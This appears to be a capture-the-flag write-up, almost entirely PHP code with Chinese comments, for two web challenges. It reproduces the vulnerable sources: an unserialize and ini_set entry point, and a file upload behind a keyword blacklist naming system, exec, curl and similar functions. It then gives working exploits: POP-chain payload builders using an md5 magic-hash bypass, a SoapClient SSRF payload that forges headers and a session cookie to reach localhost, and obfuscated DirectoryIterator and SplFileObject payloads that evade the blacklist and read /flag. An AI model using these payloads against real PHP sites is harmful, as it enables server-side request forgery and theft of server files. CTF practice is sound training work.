<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

<?php
//something in flag.php

class A
{
    public $a;
    public $b;

}

class B
{
    public $a;
    public $b;
    public $k;
}
class C
{
    public $a;//phpinfo
    public $c;

}
$a=new A;
$b=new B;
$c=new C;
$b->a=$c;
$a->a='0e215962017'; //isset($this->a) && $this->a == md5($this->a)
$a->b=$c;
$c->a='phpinfo';
$c->c=$a;
echo serialize($b);

implode(array(new $_GET['a']($_GET['b'])));

<?php
new DirectoryIterator("glob:///*f*");//查找根目录下名字带f的文件，也可以使用?作为通配符
new SplFileObject('/flag');//读取文件

ini_set($_GET['baby'], $_GET['d0g3']);

<?php
$target='http://127.0.0.1:80/flag.php?a=SplFileObject&b=/f1111llllllaagg'; //自己替换原生类
$post_data='add=111';
$ua = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=kod01dgtpdrd999ms9vqa8l5hl'
);
$options = array(
    'location' => $target,
    'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,//post传参的内容可以加可不加
    'uri'=>'v2ish1yan'//随意
);
$a=new SoapClient(null,$options);
echo urlencode(serialize($a));

<?php
//something in flag.php

class A
{
    public $a;
    public $b;

}

class B
{
    public $a;
    public $b;
    public $k;
}
class C
{
    public $a;//phpinfo
    public $c;

}
$a=new A;
$b=new B;
$c=new C;
$b->a=$c;
$a->a='0e215962017'; //isset($this->a) && $this->a == md5($this->a)
$a->b=$c;
$c->a='aaaaaa';
$c->c=$a;
echo serialize($b);

<?php
function waf($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(stristr($var, $blackword)) return True;
    }

    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("俺不要图片,熊大");
}

$content = file_get_contents($temp_file);
if(waf($content)){
    die("哎呦你干嘛，小黑子...");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo $msg."  ".$img_path;
}

<?php echo new DirectoryIterator("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x2a\x66\x2a");
//echo new DirectoryIterator("glob:///*f*");

<?php echo new DirectoryIterator("glob:///??????????????");

<?php echo new ('Spl'.'Fi'.'leObject')("/fl1111111111ag");